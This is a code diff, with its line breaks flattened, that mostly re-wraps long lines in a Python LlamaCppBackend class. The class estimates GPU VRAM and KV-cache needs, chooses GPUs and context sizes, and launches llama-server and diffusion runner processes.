LlamaCppBackend: lib_dirs.append(cuda_lib) existing_ld = env.get("LD_LIBRARY_PATH", "") new_ld = ":".join(lib_dirs) - env["LD_LIBRARY_PATH"] = f"{new_ld}:{existing_ld}" if existing_ld else new_ld + env["LD_LIBRARY_PATH"] = ( + f"{new_ld}:{existing_ld}" if existing_ld else new_ld + ) return env @@ -3684,7 +3778,9 @@ class LlamaCppBackend: # Cap a downgraded multi-GPU request to the usable count so it doesn't pull # in a near-full card to hit min_gpus. No-op for the default min_gpus == 1. - usable_count = sum(1 for idx, free_mib in ranked if _usable(idx, free_mib) > overhead_mib) + usable_count = sum( + 1 for idx, free_mib in ranked if _usable(idx, free_mib) > overhead_mib + ) min_gpus = max(1, min(min_gpus, usable_count or 1)) # Try 1 GPU at the usable-VRAM threshold (only when one device is allowed). @@ -3732,7 +3828,9 @@ class LlamaCppBackend: ) def _kv_heads_for_layer(self, layer_idx: int, fallback: int) -> int: - if self._n_kv_heads_by_layer is not None and layer_idx < len(self._n_kv_heads_by_layer): + if self._n_kv_heads_by_layer is not None and layer_idx < len( + self._n_kv_heads_by_layer + ): return self._n_kv_heads_by_layer[layer_idx] return fallback @@ -3800,7 +3898,10 @@ class LlamaCppBackend: # Path 2: Hybrid Mamba/Attention (Qwen3.5-27B, Qwen3.5-35B-A3B) # Only 1 in N layers is attention; the rest are Mamba (no KV cache). - if self._ssm_inner_size is not None and self._full_attention_interval is not None: + if ( + self._ssm_inner_size is not None + and self._full_attention_interval is not None + ): fai = self._full_attention_interval n_attn = -(-n_layers // fai) if fai > 0 else n_layers # ceiling division if key_len is not None and val_len is not None: @@ -3824,7 +3925,9 @@ class LlamaCppBackend: per_slot_ctx = max(1, n_ctx // slots) # --swa-full caches full per_slot_ctx (constant n_ctx total); else SWA # caches 2*sliding_window per slot, clamped at per-slot ctx. - swa_cells_per_slot = per_slot_ctx if swa_full else min(n_ctx, 2 * swa, per_slot_ctx) + swa_cells_per_slot = ( + per_slot_ctx if swa_full else min(n_ctx, 2 * swa, per_slot_ctx) + ) key_len_swa = self._kv_key_length_swa or key_len val_len_swa = self._kv_value_length_swa or val_len if self._sliding_window_pattern is not None: @@ -3841,7 +3944,10 @@ class LlamaCppBackend: ) if is_swa: swa_bytes_per_slot += ( - swa_cells_per_slot * layer_n_kv * (key_len_swa + val_len_swa) * bpe + swa_cells_per_slot + * layer_n_kv + * (key_len_swa + val_len_swa) + * bpe ) if ctx_checkpoints > 0 and not swa_full: checkpoint_extra_per_slot += ( @@ -3853,7 +3959,10 @@ class LlamaCppBackend: ) else: global_bytes += n_ctx * layer_n_kv * (key_len + val_len) * bpe - return int(global_bytes + slots * (swa_bytes_per_slot + checkpoint_extra_per_slot)) + return int( + global_bytes + + slots * (swa_bytes_per_slot + checkpoint_extra_per_slot) + ) n_global = max(1, n_layers_kv // 4) n_swa = n_layers_kv - n_global kv_per_token = n_kv * (key_len + val_len) * bpe @@ -3865,7 +3974,9 @@ class LlamaCppBackend: if ctx_checkpoints > 0 and not swa_full else 0.0 ) - return int(global_bytes + slots * (swa_bytes_per_slot + checkpoint_extra_per_slot)) + return int( + global_bytes + slots * (swa_bytes_per_slot + checkpoint_extra_per_slot) + ) # Path 4: Standard GQA with explicit key/value dimensions if key_len is not None and val_len is not None: @@ -3996,7 +4107,9 @@ class LlamaCppBackend: # rather than duplicating the target, so they must not be charged for it. target_ctx_copy = 0 if mtp_keeps_target_ctx and self._kv_lora_rank is not None: - target_ctx_copy = self._estimate_kv_cache_bytes(n_ctx, "f16", n_parallel = n_parallel) + target_ctx_copy = self._estimate_kv_cache_bytes( + n_ctx, "f16", n_parallel = n_parallel + ) if draft_kv is None: # KV unsized (exotic/remote drafter): still reserve known weights + any # MLA target copy so a large config can't launch over budget (the small @@ -4009,7 +4122,9 @@ class LlamaCppBackend: _DEFAULT_N_UBATCH = 512 # llama.cpp --ubatch default; Unsloth does not override it _COMPUTE_BUFFER_SAFETY = 1.15 # upper-bound margin on the compute-buffer estimate # Soft VRAM the modeled terms omit; charged to the fit budget on tight tiers (#6682). - _CUDA_CONTEXT_RESERVE_BYTES = 320 * 1024 * 1024 # CUDA ctx + cuBLAS workspace (~330 MiB) + _CUDA_CONTEXT_RESERVE_BYTES = ( + 320 * 1024 * 1024 + ) # CUDA ctx + cuBLAS workspace (~330 MiB) _MMPROJ_VRAM_SAFETY = 1.4 # mmproj worst-case buffer vs file size (runtime ~1.3x) _MTP_DRAFT_COMPUTE_BYTES = 224 * 1024 * 1024 # MTP draft decode graph beyond its KV # The flash-attn KQ mask + attention scratch grow ~linearly with context; the flat @@ -4026,9 +4141,15 @@ class LlamaCppBackend: # an 8 GB card, far below the ~1-2.4 GiB quantized buffer at 256k): e.g. Qwen3.5-4B # Q4 at 256k needs ~8.5 GiB on a real 8 GB card (weights 2.4 + KV 4.3 + compute 1.3 # + CUDA ctx) -> CPU spill; with this reserve the auto context caps to ~210k, fits. - _CTX_COMPUTE_BYTES_PER_EMBD = 2.25 # quantized KV, regular attention (dequant scratch) - _CTX_COMPUTE_BYTES_PER_EMBD_MLA = 1.25 # quantized KV, MLA (compressed attn: measured 0.94x) - _CTX_COMPUTE_F16_MASK_SAFETY = 1.5 # f16/bf16/f32 KV: KQ mask only (n_ubatch*2 B/tok) + _CTX_COMPUTE_BYTES_PER_EMBD = ( + 2.25 # quantized KV, regular attention (dequant scratch) + ) + _CTX_COMPUTE_BYTES_PER_EMBD_MLA = ( + 1.25 # quantized KV, MLA (compressed attn: measured 0.94x) + ) + _CTX_COMPUTE_F16_MASK_SAFETY = ( + 1.5 # f16/bf16/f32 KV: KQ mask only (n_ubatch*2 B/tok) + ) # DeepSeek-V4 (deepseek4): its lightning indexer + sparse attention reserve a large # context-scaling compute buffer the rates above miss (present even with an f16 # cache). Measured on UD-Q4_K_XL (ub=512): ~2 GiB at 16k -> ~65.5 GiB at 1M. Without @@ -4113,7 +4234,9 @@ class LlamaCppBackend: # fit for that so a q8_0 cache gets a small honest context instead of an # unloadable one that crash-loops the server. if cache_type_kv and _kv_bytes_per_elem(cache_type_kv) < 2.0: - return int(self._INKLING_CTX_COMPUTE_DENSE_BYTES_PER_TOK * n_ctx * ub_scale) + return int( + self._INKLING_CTX_COMPUTE_DENSE_BYTES_PER_TOK * n_ctx * ub_scale + ) # Banded flash path (see constants): linear, ub-scaled. return int(self._INKLING_CTX_COMPUTE_BYTES_PER_TOK * n_ctx * ub_scale) if _kv_bytes_per_elem(cache_type_kv) < 2.0: @@ -4162,7 +4285,9 @@ class LlamaCppBackend: total = ( base_footprint_bytes + cb - + self._estimate_kv_cache_bytes(effective_ctx, cache_type_kv, n_parallel = slots) + + self._estimate_kv_cache_bytes( + effective_ctx, cache_type_kv, n_parallel = slots + ) ) gpu_indices, use_fit = self._select_gpus( total, @@ -4231,7 +4356,9 @@ class LlamaCppBackend: # when dims can't size the draft KV); callers may override budget_frac. if budget_frac is None: flat_mtp = mtp_engaged and mtp_overhead_fn is None - budget_frac = _CTX_FIT_VRAM_FRACTION - (_MTP_VRAM_RESERVE_FRAC if flat_mtp else 0.0) + budget_frac = _CTX_FIT_VRAM_FRACTION - ( + _MTP_VRAM_RESERVE_FRAC if flat_mtp else 0.0 + ) # Absolute reserve off total when known, else fraction-of-free; clamp >=0. if total_mib is not None and total_mib > 0: budget_mib = max(0.0, available_mib - (1.0 - budget_frac) * total_mib) @@ -4250,7 +4377,10 @@ class LlamaCppBackend: # Already fits? kv = self._estimate_kv_cache_bytes(requested_ctx, cache_type_kv, **kv_kwargs) - if model_footprint + kv + _mtp_at(requested_ctx) + _cc_at(requested_ctx) <= budget_bytes: + if ( + model_footprint + kv + _mtp_at(requested_ctx) + _cc_at(requested_ctx) + <= budget_bytes + ): return requested_ctx # Weights + compute buffer alone exceed budget -- reducing ctx can't help. @@ -4535,7 +4665,10 @@ class LlamaCppBackend: if vtype == 8: # STRING slen = struct.unpack(" str: + def _diffusion_gpu_arg( + gpu_ids: Optional[List[int]], *, cpu_only: bool = False + ) -> str: """Device token passed to the diffusion visual-server child. The visual engine replaces its child's CUDA visibility mask with this @@ -4750,7 +4905,9 @@ class LlamaCppBackend: return os.environ["DG_GPU"] parent_mask = os.environ.get("CUDA_VISIBLE_DEVICES") if parent_mask: - first = next((token.strip() for token in parent_mask.split(",") if token.strip()), "") + first = next( + (token.strip() for token in parent_mask.split(",") if token.strip()), "" + ) if first and first != "-1": return first return "0" @@ -4833,7 +4990,9 @@ class LlamaCppBackend: if extra_pythonpath: existing = env.get("PYTHONPATH") env["PYTHONPATH"] = ( - (extra_pythonpath + os.pathsep + existing) if existing else extra_pythonpath + (extra_pythonpath + os.pathsep + existing) + if existing + else extra_pythonpath ) logger.info(f"Starting DiffusionGemma runner: {' '.join(cmd)}") @@ -4843,8 +5002,12 @@ class LlamaCppBackend: try: log_dir = _swa_cache_path().parent / "logs" / "diffusion-server" log_dir.mkdir(parents = True, exist_ok = True) - self._llama_log_path = log_dir / f"diffusion-{int(time.time())}-port-{self._port}.log" - self._llama_log_fh = open(self._llama_log_path, "w", encoding = "utf-8", buffering = 1) + self._llama_log_path = ( + log_dir / f"diffusion-{int(time.time())}-port-{self._port}.log" + ) + self._llama_log_fh = open( + self._llama_log_path, "w", encoding = "utf-8", buffering = 1 + ) logger.info(f"diffusion runner stdout/stderr -> {self._llama_log_path}") except OSError as e: logger.debug(f"Could not open diffusion runner log file: {e}") @@ -4989,7 +5152,9 @@ class LlamaCppBackend: # Fall back to the local cache when the repo listing is unavailable. if not gguf_filename: - cached_name, cached_shards = _cached_variant_resolution(hf_repo, hf_variant) + cached_name, cached_shards = _cached_variant_resolution( + hf_repo, hf_variant + ) if cached_name: gguf_filename = cached_name gguf_extra_shards = cached_shards @@ -5016,11 +5181,15 @@ class LlamaCppBackend: hf_token = hf_token, ) else: - candidate = _cached_complete_candidate(hf_repo, gguf_filename, gguf_extra_shards) + candidate = _cached_complete_candidate( + hf_repo, gguf_filename, gguf_extra_shards + ) cached_main = ( candidate[0] if candidate is not None - and _cached_candidate_matches_revision_size(hf_repo, candidate, hf_token) + and _cached_candidate_matches_revision_size( + hf_repo, candidate, hf_token + ) else None ) if cached_main is not None: @@ -5054,7 +5223,9 @@ class LlamaCppBackend: except Exception: cached_path = None if ( - not (isinstance(cached_path, str) and os.path.exists(cached_path)) + not ( + isinstance(cached_path, str) and os.path.exists(cached_path) + ) and offline ): cached_path = _cached_hf_snapshot_file( @@ -5123,7 +5294,9 @@ class LlamaCppBackend: hf_repo, fallback_candidate, hf_token ) ): - logger.info(f"Reusing cached fallback GGUF: {fallback_candidate[0]}") + logger.info( + f"Reusing cached fallback GGUF: {fallback_candidate[0]}" + ) return fallback_candidate[0] else: raise RuntimeError( @@ -5414,7 +5587,9 @@ class LlamaCppBackend: logger.debug(f"Could not size mmproj {launch_mmproj_path}: {e}") return 0 - def _resolve_launch_mtp_path(self, *, mtp_draft_path: Optional[str]) -> Optional[str]: + def _resolve_launch_mtp_path( + self, *, mtp_draft_path: Optional[str] + ) -> Optional[str]: """Return mtp_draft_path iff it exists on disk, else None. No family check needed: the drafter is only ever auto-resolved from @@ -5696,7 +5871,9 @@ class LlamaCppBackend: # kv(ctx)+mtp(ctx)+compute(ctx) is not single-linear, so binary search. def _consumer(c: int) -> int: return ( - self._estimate_kv_cache_bytes(c, cache_type_kv, n_parallel = n_parallel) + self._estimate_kv_cache_bytes( + c, cache_type_kv, n_parallel = n_parallel + ) + _mtp_at(c) + _cc_ctx(c) ) @@ -5712,7 +5889,9 @@ class LlamaCppBackend: else: hi = mid - 1 return best - kv_at = self._estimate_kv_cache_bytes(ctx, cache_type_kv, n_parallel = n_parallel) + kv_at = self._estimate_kv_cache_bytes( + ctx, cache_type_kv, n_parallel = n_parallel + ) total_at = kv_at + _cc_ctx(ctx) # both ~linear through the origin if total_at <= kv_budget_b: return ctx @@ -5723,24 +5902,32 @@ class LlamaCppBackend: # max_available_ctx is the hardware ceiling for the UI bound, sized from # the native context independent of an explicit small -c (which only # caps effective_ctx). - max_ctx_target = max_target_ctx if (max_target_ctx and max_target_ctx > 0) else target_ctx + max_ctx_target = ( + max_target_ctx if (max_target_ctx and max_target_ctx > 0) else target_ctx + ) max_available_ctx = _fit_ctx(max_ctx_target) effective_ctx = min(_fit_ctx(target_ctx), max_available_ctx) min_usable_mib = min(usable_by_idx.values()) kv_bytes = ( - self._estimate_kv_cache_bytes(effective_ctx, cache_type_kv, n_parallel = n_parallel) + self._estimate_kv_cache_bytes( + effective_ctx, cache_type_kv, n_parallel = n_parallel + ) if (self._can_estimate_kv() and effective_ctx > 0) else 0 ) # The MTP reserve also has to fit the even split (mirror the pooled budget): # byte-accurate per-ctx (0 when no fn) plus the same flat cushion as above. - mtp_bytes = (_mtp_at(effective_ctx) if effective_ctx > 0 else 0) + flat_mtp_bytes + mtp_bytes = ( + _mtp_at(effective_ctx) if effective_ctx > 0 else 0 + ) + flat_mtp_bytes # Context-linear compute is replicated per device; charge the whole split so # the weighted ratio reflects it (mirrors kv_budget_b's per-device reserve). cc_bytes = _cc_ctx(effective_ctx) if effective_ctx > 0 else 0 even_share_mib = ( - (model_size + kv_bytes + mtp_bytes + cc_bytes) / len(gpu_indices) / (1024 * 1024) + (model_size + kv_bytes + mtp_bytes + cc_bytes) + / len(gpu_indices) + / (1024 * 1024) ) tensor_split: Optional[list[int]] = None if even_share_mib > (min_usable_mib - reserve_mib): @@ -5749,9 +5936,12 @@ class LlamaCppBackend: # gate above charges cc_bytes; the split weights must subtract it too, or # the smaller card is weighted above its real usable budget and OOMs (the # per-device analog of the layer path's per-GPU overhead in _select_gpus). - cc_per_dev_mib = (cc_bytes // len(gpu_indices)) // (1024 * 1024) if cc_bytes else 0 + cc_per_dev_mib = ( + (cc_bytes // len(gpu_indices)) // (1024 * 1024) if cc_bytes else 0 + ) adj = [ - max(0, int(usable_by_idx[i] - reserve_mib - cc_per_dev_mib)) for i in gpu_indices + max(0, int(usable_by_idx[i] - reserve_mib - cc_per_dev_mib)) + for i in gpu_indices ] if sum(adj) > 0: tensor_split = adj @@ -5832,7 +6022,9 @@ class LlamaCppBackend: return returncode == 3 @classmethod - def _should_record_tensor_split_abort(cls, returncode: Optional[int], output: str) -> bool: + def _should_record_tensor_split_abort( + cls, returncode: Optional[int], output: str + ) -> bool: """The #6415 split-axis abort: the marker plus a hard crash (POSIX signal or Windows abort exit). Marker required so a generic crash isn't cached.""" return cls._is_tensor_split_assert(output) and ( @@ -5921,7 +6113,9 @@ class LlamaCppBackend: try: log_dir = _swa_cache_path().parent / "logs" / "llama-server" log_dir.mkdir(parents = True, exist_ok = True) - self._llama_log_path = log_dir / f"llama-{int(time.time())}-port-{self._port}.log" + self._llama_log_path = ( + log_dir / f"llama-{int(time.time())}-port-{self._port}.log" + ) self._llama_log_fh = open( self._llama_log_path, "w", @@ -5936,7 +6130,9 @@ class LlamaCppBackend: # Log the argv per attempt (the text-only mmproj retry re-enters here # with --mmproj stripped), redacting the API key. - logger.info(f"Starting llama-server: {' '.join(self._redacted_cmd_for_log(cmd))}") + logger.info( + f"Starting llama-server: {' '.join(self._redacted_cmd_for_log(cmd))}" + ) self._process = subprocess.Popen( cmd, @@ -6117,7 +6313,11 @@ class LlamaCppBackend: hf_token = hf_token, ) # Auto-download mmproj for vision models unless opted out. - if is_vision and not mmproj_path and not extra_args_disable_mmproj(extra_args): + if ( + is_vision + and not mmproj_path + and not extra_args_disable_mmproj(extra_args) + ): mmproj_path = self._download_mmproj( hf_repo = hf_repo, hf_token = hf_token, @@ -6222,7 +6422,9 @@ class LlamaCppBackend: # The user's extras still set the real (possibly asymmetric) child # cache, so this only affects the reserve, not the emitted command. _extras_cache = _extra_args_main_cache_type_for_budget(extra_args) - cache_type_kv = _extras_cache if _extras_cache is not None else cache_type_kv + cache_type_kv = ( + _extras_cache if _extras_cache is not None else cache_type_kv + ) _cache_type_from_env = False if cache_type_kv is None: # Param/extras set nothing, so the child inherits @@ -6237,7 +6439,9 @@ class LlamaCppBackend: # would run tensor unbudgeted otherwise). The duplicate-load matchers # use the same helper so a healthy env-driven tensor server matches. split_mode_override = parse_split_mode_override(extra_args) - tensor_parallel = _effective_tensor_parallel(extra_args, tensor_parallel) + tensor_parallel = _effective_tensor_parallel( + extra_args, tensor_parallel + ) # gpu_layers=0 leaves nothing to split, yet --split-mode tensor or # a per-GPU ratio still launches tensor mode -- and under the # CPU-only mask below (no visible devices) that aborts the server @@ -6274,7 +6478,8 @@ class LlamaCppBackend: tensor_parallel and gpu_memory_mode == "manual" and gpu_layers >= 0 - and self._effective_gpu_count(sorted(gpu_ids) if gpu_ids else None) < 2 + and self._effective_gpu_count(sorted(gpu_ids) if gpu_ids else None) + < 2 ): logger.info( "Tensor parallelism requested in manual mode but fewer " @@ -6340,7 +6545,9 @@ class LlamaCppBackend: cache_type_kv = _env_tensor_cache _cache_type_from_env = True if ctx_override is not None and ctx_override > 0: - logger.info(f"User --ctx-size {ctx_override} honored; skipping auto-reduce") + logger.info( + f"User --ctx-size {ctx_override} honored; skipping auto-reduce" + ) if cache_override is not None: _ck, _cv = parse_cache_override_per_axis(extra_args) logger.info( @@ -6352,7 +6559,9 @@ class LlamaCppBackend: f"User --split-mode {split_mode_override} honored; " "reconciled into tensor_parallel state" ) - effective_ctx = requested_ctx if requested_ctx > 0 else (self._context_length or 0) + effective_ctx = ( + requested_ctx if requested_ctx > 0 else (self._context_length or 0) + ) max_available_ctx = self._context_length or effective_ctx gpus: list[tuple[int, int]] = [] # Keep fit-budget and launch-flag mmproj resolution in sync. @@ -6385,7 +6594,9 @@ class LlamaCppBackend: gguf_size = self._get_gguf_size_bytes(model_path) # Include GPU-loaded mmproj in the fit budget (#5825). mmproj_size = ( - self._mmproj_vram_bytes(launch_mmproj_path) if effective_is_vision else 0 + self._mmproj_vram_bytes(launch_mmproj_path) + if effective_is_vision + else 0 ) model_size = gguf_size + mmproj_size # 2-tuple gpus for existing logic + a total map for the absolute @@ -6463,7 +6674,9 @@ class LlamaCppBackend: # VRAM, or by the Split ratio if set). gpus = [] effective_ctx = ( - requested_ctx if requested_ctx > 0 else (self._context_length or 0) + requested_ctx + if requested_ctx > 0 + else (self._context_length or 0) ) original_ctx = effective_ctx # Strip the user --split-mode when the toggle owns the split @@ -6496,11 +6709,16 @@ class LlamaCppBackend: # would over-reserve. _spec_env: Mapping[str, str] = ( os.environ - if (not _extra_args_set_spec_type(extra_args) and _mtp_canonical == "off") + if ( + not _extra_args_set_spec_type(extra_args) + and _mtp_canonical == "off" + ) else {} ) # Extras can run MTP even when Unsloth suppresses its own emission. - _user_mtp_via_extras = _extra_args_requests_mtp(extra_args, env = _spec_env) + _user_mtp_via_extras = _extra_args_requests_mtp( + extra_args, env = _spec_env + ) # A non-MTP model-based draft mode (draft-simple/draft-eagle3) in # extras also loads a separate draft model that needs reserving; # engage only when extras actually name a drafter for it. @@ -6526,7 +6744,9 @@ class LlamaCppBackend: if not _user_mtp_via_extras: try: _mtp_binary_ok = bool( - (self.probe_server_capabilities(binary) or {}).get("mtp_token") + (self.probe_server_capabilities(binary) or {}).get( + "mtp_token" + ) ) except Exception: _mtp_binary_ok = False @@ -6547,7 +6767,9 @@ class LlamaCppBackend: ) ) _mtp_will_engage = bool( - _user_mtp_via_extras or _user_draft_via_extras or _auto_studio_mtp + _user_mtp_via_extras + or _user_draft_via_extras + or _auto_studio_mtp ) # The duplicated full target-KV copy (ctx_tgt) is an MTP-only # cost: the MTP head runs a second context over the target @@ -6560,7 +6782,9 @@ class LlamaCppBackend: # Effective draft depth: extras win (last-wins at launch), else # the field, else the platform default (2 GPU / 3 CPU). _extra_n_max = _extra_args_spec_draft_n_max(extra_args) - _mtp_eff_n_max = _extra_n_max if _extra_n_max is not None else spec_draft_n_max + _mtp_eff_n_max = ( + _extra_n_max if _extra_n_max is not None else spec_draft_n_max + ) if _mtp_eff_n_max is None: # _detected_gpus (not gpus) so manual -- which empty # gpus to bypass the planner -- keep the GPU draft depth the @@ -6571,7 +6795,9 @@ class LlamaCppBackend: # precedence: extras --model-draft (last-wins), else Unsloth's # emitted mtp_draft_path, else the env drafter. Sizing the wrong # one would under-reserve and OOM. - _cli_draft_for_budget = _extra_args_mtp_draft_path(extra_args, env = {}) + _cli_draft_for_budget = _extra_args_mtp_draft_path( + extra_args, env = {} + ) _studio_draft_for_budget = ( mtp_draft_path if ( @@ -6581,24 +6807,34 @@ class LlamaCppBackend: ) else None ) - _env_draft_for_budget = _extra_args_mtp_draft_path([], env = os.environ) + _env_draft_for_budget = _extra_args_mtp_draft_path( + [], env = os.environ + ) _mtp_draft_for_budget = ( - _cli_draft_for_budget or _studio_draft_for_budget or _env_draft_for_budget + _cli_draft_for_budget + or _studio_draft_for_budget + or _env_draft_for_budget ) # Drafter offloaded to CPU keeps its weights+KV off the GPU, so # drop it from the budget (an embedded head stays in the model). # Consult the env too: the child honors LLAMA_ARG_N_GPU_LAYERS_DRAFT. - _draft_on_cpu = _extra_args_draft_offloaded_to_cpu(extra_args, env = os.environ) + _draft_on_cpu = _extra_args_draft_offloaded_to_cpu( + extra_args, env = os.environ + ) if _draft_on_cpu: _mtp_draft_for_budget = None _mtp_draft_weights = 0 if _mtp_draft_for_budget: try: - _mtp_draft_weights = self._get_gguf_size_bytes(_mtp_draft_for_budget) + _mtp_draft_weights = self._get_gguf_size_bytes( + _mtp_draft_for_budget + ) except Exception: _mtp_draft_weights = 0 # Draft K/V types (f16 by default; independent extras overrides). - _mtp_draft_ck, _mtp_draft_cv = _extra_args_draft_cache_types(extra_args) + _mtp_draft_ck, _mtp_draft_cv = _extra_args_draft_cache_types( + extra_args + ) # Byte-accurate reserve when dims allow, else None -> flat fallback. mtp_overhead_fn: Optional[Callable[[int], int]] = None @@ -6658,7 +6894,9 @@ class LlamaCppBackend: return v if v is not None else 0 def _mtp_bytes(ctx: int) -> int: - return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0 + return ( + mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0 + ) # Effective micro-batch (a user --ubatch override scales the # compute buffer); None -> the 512 default in the estimate. @@ -6697,7 +6935,9 @@ class LlamaCppBackend: # folded buffer covers one device; reserve the extra devices' # share so a k-GPU split can't pin a context that OOMs a device # (k=1 adds nothing). - _pipeline_overhead_bytes = self._PIPELINE_PER_DEVICE_OVERHEAD_MIB * 1024 * 1024 + _pipeline_overhead_bytes = ( + self._PIPELINE_PER_DEVICE_OVERHEAD_MIB * 1024 * 1024 + ) # Auto-cap context to fit VRAM and select GPUs. Explicit n_ctx: # honor it, cap only if it fits no combination. Auto (native): @@ -6715,7 +6955,9 @@ class LlamaCppBackend: _flat_mtp_engages = _mtp_will_engage and ( mtp_overhead_fn is None or _mtp_kv_unsized ) - _draft_cpu_no_embedded = _draft_on_cpu and not self._nextn_predict_layers + _draft_cpu_no_embedded = ( + _draft_on_cpu and not self._nextn_predict_layers + ) # MTP reserves GPU VRAM unless its only drafter is a separate # CPU-offloaded one (an embedded head stays on GPU). The tensor # path reserves like the layer path; gate both on this. @@ -6733,16 +6975,25 @@ class LlamaCppBackend: # MTP draft-graph buffers exist on every backend. _soft_overhead = self._CUDA_CONTEXT_RESERVE_BYTES if gpus else 0 if effective_is_vision and mmproj_size > 0: - _soft_overhead += int(mmproj_size * (self._MMPROJ_VRAM_SAFETY - 1.0)) + _soft_overhead += int( + mmproj_size * (self._MMPROJ_VRAM_SAFETY - 1.0) + ) if _mtp_reserves_gpu: _soft_overhead += self._MTP_DRAFT_COMPUTE_BYTES - model_size_fit = model_size + _compute_buffer_pipeline + _soft_overhead + model_size_fit = ( + model_size + _compute_buffer_pipeline + _soft_overhead + ) def _subset_model_size(n_gpus: int) -> int: - return model_size_fit + max(0, n_gpus - 1) * _pipeline_overhead_bytes + return ( + model_size_fit + + max(0, n_gpus - 1) * _pipeline_overhead_bytes + ) # Unified-memory budget (0 off Apple Silicon) for the no-GPU Metal cap below. - _apple_budget_mib = self._apple_metal_memory_budget_bytes() // (1024 * 1024) + _apple_budget_mib = self._apple_metal_memory_budget_bytes() // ( + 1024 * 1024 + ) def _restore_after_tensor_downgrade(): # Restore the quantized KV + extras tensor dropped (layer @@ -6761,7 +7012,9 @@ class LlamaCppBackend: if preserve_multi_gpu_on_layer: _layer_min_gpus = max(_layer_min_gpus, len(gpus)) - if tensor_parallel and self._tensor_split_aborts(binary, model_identifier): + if tensor_parallel and self._tensor_split_aborts( + binary, model_identifier + ): # Aborted on tensor for this model this session (#6415); skip # tensor upfront, layer split serves it. logger.info( @@ -6832,7 +7085,8 @@ class LlamaCppBackend: # must hold the non-shrinkable footprint: weights + the MTP # reserve. The planner can shrink ctx/KV, not these. _tp_weight_budget_mib = ( - sum(_gpu_usable(g) for g in tp_gpus) - len(tp_gpus) * reserve_mib + sum(_gpu_usable(g) for g in tp_gpus) + - len(tp_gpus) * reserve_mib ) _tp_flat_mtp = 2 * 1024**3 # flat reserve when dims unavailable if not _mtp_reserves_gpu: @@ -6848,11 +7102,15 @@ class LlamaCppBackend: # cushion, never below the known byte reserve. _tp_mtp_floor = max( _tp_flat_mtp, - _mtp_bytes(min(2048, effective_ctx) if effective_ctx > 0 else 2048), + _mtp_bytes( + min(2048, effective_ctx) + if effective_ctx > 0 + else 2048 + ), ) - _tp_required_mib = (model_size + _tp_mtp_floor + _soft_overhead) / ( - 1024 * 1024 - ) + _tp_required_mib = ( + model_size + _tp_mtp_floor + _soft_overhead + ) / (1024 * 1024) if _tp_weight_budget_mib <= _tp_required_mib: logger.info( "Tensor parallelism requested but the pooled VRAM " @@ -6880,7 +7138,9 @@ class LlamaCppBackend: # weights, so pass the flat cushion for the unsized KV (else # the binary search spends it on context). _tp_unsized_mtp_reserve = ( - 2 * 1024**3 if (_mtp_reserves_gpu and _mtp_kv_unsized) else 0 + 2 * 1024**3 + if (_mtp_reserves_gpu and _mtp_kv_unsized) + else 0 ) ( effective_ctx, @@ -6988,11 +7248,15 @@ class LlamaCppBackend: # active pin fraction so the order matches the fit budget. pin_fraction = _pin_fraction ranked = sorted( - gpus, key = lambda g: _gpu_usable(g, pin_fraction), reverse = True + gpus, + key = lambda g: _gpu_usable(g, pin_fraction), + reverse = True, ) # Skips _select_gpus, so apply its cap: count only cards # whose usable VRAM clears the per-device layer overhead. - _pipeline_overhead_mib = _pipeline_overhead_bytes / (1024 * 1024) + _pipeline_overhead_mib = _pipeline_overhead_bytes / ( + 1024 * 1024 + ) _auto_min_gpus = max( 1, min( @@ -7000,7 +7264,8 @@ class LlamaCppBackend: sum( 1 for g in ranked - if _gpu_usable(g, pin_fraction) > _pipeline_overhead_mib + if _gpu_usable(g, pin_fraction) + > _pipeline_overhead_mib ) or 1, ), @@ -7041,7 +7306,9 @@ class LlamaCppBackend: # at 131k may pin fine with a 4096 KV (#5106). effective_ctx = min(4096, effective_ctx) if effective_ctx > 0: - for n_gpus in range(_auto_min_gpus, len(ranked) + 1): + for n_gpus in range( + _auto_min_gpus, len(ranked) + 1 + ): subset = ranked[:n_gpus] kv = self._estimate_kv_cache_bytes( effective_ctx, @@ -7054,8 +7321,12 @@ class LlamaCppBackend: + _mtp_bytes(effective_ctx) + _cc_bytes(effective_ctx, n_gpus) ) / (1024 * 1024) - if footprint_mib <= _pool_budget_mib(subset, pin_fraction): - gpu_indices = sorted(idx for idx, _ in subset) + if footprint_mib <= _pool_budget_mib( + subset, pin_fraction + ): + gpu_indices = sorted( + idx for idx, _ in subset + ) use_fit = False break @@ -7083,7 +7354,9 @@ class LlamaCppBackend: if use_fit and not explicit_ctx: # Weights don't fit on any subset; default UI to 4096 # so the slider isn't on an unusable native ctx. - effective_ctx = min(4096, effective_ctx) if effective_ctx > 0 else 4096 + effective_ctx = ( + min(4096, effective_ctx) if effective_ctx > 0 else 4096 + ) elif _apple_budget_mib > 0 and effective_ctx > 0: # No GPU on Metal: the branches above are skipped and the context @@ -7176,12 +7449,18 @@ class LlamaCppBackend: gpu_indices, use_fit, n_parallel = _gi_slots, False, _slots # MTP reserve at the final context, for the logs below. - _mtp_reserve_bytes = _mtp_bytes(effective_ctx) if _mtp_will_engage else 0 + _mtp_reserve_bytes = ( + _mtp_bytes(effective_ctx) if _mtp_will_engage else 0 + ) if _mtp_will_engage: _mtp_note = ( f"MTP reserve: {_mtp_reserve_bytes / (1024**3):.2f} GB " f"(draft KV @ {effective_ctx} + verify n_max={_mtp_eff_n_max}" - + (", flat-frac fallback" if mtp_overhead_fn is None else "") + + ( + ", flat-frac fallback" + if mtp_overhead_fn is None + else "" + ) + "), " ) else: @@ -7203,7 +7482,9 @@ class LlamaCppBackend: effective_ctx, cache_type_kv, n_parallel = n_parallel ) mmproj_note = ( - f"mmproj: {mmproj_size / (1024**3):.1f} GB, " if mmproj_size else "" + f"mmproj: {mmproj_size / (1024**3):.1f} GB, " + if mmproj_size + else "" ) logger.info( f"GGUF size: {gguf_size / (1024**3):.1f} GB, " @@ -7328,7 +7609,10 @@ class LlamaCppBackend: _split_total = sum(_sanitized_split) if len(_sanitized_split) == _split_gpus and _split_total > 0: cmd.extend( - ["--tensor-split", ",".join(f"{x:g}" for x in _sanitized_split)] + [ + "--tensor-split", + ",".join(f"{x:g}" for x in _sanitized_split), + ] ) self._tensor_split = _sanitized_split manual_tensor_split_emitted = True @@ -7376,7 +7660,10 @@ class LlamaCppBackend: os.chmod(slot_dir, 0o700) cmd.extend(["--slot-save-path", str(slot_dir)]) self._slot_save_dir = str(slot_dir) - self._slot_save_binary = (binary, Path(binary).stat().st_mtime_ns) + self._slot_save_binary = ( + binary, + Path(binary).stat().st_mtime_ns, + ) except OSError: self._slot_save_dir = None 